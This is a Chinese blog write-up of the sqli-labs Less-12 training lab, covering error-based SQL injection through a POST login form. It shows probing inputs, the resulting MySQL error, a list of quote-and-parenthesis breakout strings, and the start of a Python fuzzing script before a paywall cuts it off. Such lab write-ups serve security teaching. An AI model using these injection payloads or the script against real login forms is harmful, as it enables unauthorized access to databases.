sqli-lab-less12

最新推荐文章于 2025-04-25 18:07:04 发布

Sa1nZen

最新推荐文章于 2025-04-25 18:07:04 发布

阅读量166

点赞数

分类专栏： sql-lab 文章标签：数据库网络安全 mysql

本文链接：https://blog.youkuaiyun.com/Sa1nZen/article/details/132083391

版权

博客围绕sqli-lab-less12展开，介绍了靶标地址，进行了漏洞探测与源码分析，开展黑盒与白盒测试，还涉及脚本撰写和sqlmap的使用，最后进行总结，聚焦数据库安全相关内容。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

sqli-lab-less12

一、靶标地址

Less-12 POST-Error Based-Double quotes-String - with twist
#字符型带双引号和括号基于报错的SQL注入
http://127.0.0.1/sqli/less-12/

二、漏洞探测

输入admin admin
得到post数据包
uname=admin&passwd=admin&submit=Submit
#Your Login name:admin
#Your Password:admin

猜测业务逻辑流程应该是根据输入的username、password去查询然后进行比对
uname=1")&passwd=2&submit=Submit
#You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") and password=("2") LIMIT 0,1' at line 1

猜测语句为 ") and password=("2") LIMIT 0,1
推测语句为select username,password from users where username= ("$uname") and password='$passwd' limit 0,1;

fuzz.txt
'
"
')
")
'))
"))

#使用python脚本进行fuzz
import requests

url="http://192.168.128.159/sqli/less-12/index.php"
#F12查看或者burpsuite抓包
header={
   
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36','Accept-Language': 'en-US,en;q=0.9',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
}
file = open("./fuzz-12.txt","r")
payloads = file.read().splitlines()

for i in range(len(payloads)):
    print("==============This is "+ str(i) + payloads[i]+"==============")
    subpayload = "1" + payloads[i]
    payload = {
   
            "uname"

最低0.47元/天解锁文章